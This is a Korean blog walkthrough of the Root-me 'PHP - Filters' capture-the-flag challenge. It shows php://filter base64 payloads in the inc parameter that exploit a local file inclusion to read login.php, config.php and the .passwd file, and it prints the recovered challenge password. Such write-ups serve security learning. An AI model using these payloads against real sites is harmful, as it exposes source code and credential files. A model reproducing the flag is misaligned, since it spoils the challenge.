Wargame/Root-me = Web - Server

<Root-me> PHP - Filters

지우친구 웅이 2022. 1. 13. 02:57

PHP - Filters

파일을 보기 위해서는 로그인하라고 한다.

 

login을 누르면

로그인 폼이 뜬다.

하지만 로그인에 대한 정보나 힌트를 찾을 수 없다.

 

URL을 보면 각 페이지를 요청하기 위해 GET Method를 사용하는 것을 알 수 있다.

inc의 값으로 상위 경로를 뜻하는 ../을 입력해보면

경고를 출력하는데, include()로 보아 LFI 취약점 공격을 생각할 수 있다.

 

PHP Wrapper를 통해 소스 코드를 볼 수 있다.

가장 많이 사용되는 방법인 php://filter를 사용하여 로그인 페이지의 소스 코드를 찾아보기 위해

?inc=php://filter/convert.base64-encode/resource=login.php를 입력하면

긴 문자열 하나가 출력된다.

이 문자열은 base64 인코딩된 값이기에 base64 디코딩해보면

<?php
include("config.php");

if ( isset($_POST["username"]) && isset($_POST["password"]) ){
    if ($_POST["username"]==$username && $_POST["password"]==$password){
      print("<h2>Welcome back !</h2>");
      print("To validate the challenge use this password<br/><br/>");
    } else {
      print("<h3>Error : no such user/password</h2><br />");
    }
} else {
?>

<form action="" method="post">
  Login&nbsp;<br/>
  <input type="text" name="username" /><br/><br/>
  Password&nbsp;<br/>
  <input type="password" name="password" /><br/><br/>
  <br/><br/>
  <input type="submit" value="connect" /><br/><br/>
</form>

<?php } ?>

위와 같은 php 코드가 나온다.

 

POST로 받은 username과 password가 변수 username과 password와 같으면 된다.

config.php 파일에 변수 username과 password에 대한 설정 값이 포함되있는 것 같다.

 

문제 페이지에서

?inc=php://filter/convert.base64-encode/resource=config.php를 입력하면

이 문자열을 base64 디코딩해보면

<?php

$username="admin";
$password="".file_get_contents(".passwd")."";

?>

비밀번호는 .passwd 파일을 문자열로 읽어온다.

 

?inc=php://filter/convert.base64-encode/resource=.passwd를 입력하면

이것도 base64 디코딩해보면

DAPt9D2mky0APAF

비밀번호를 획득할 수 있다.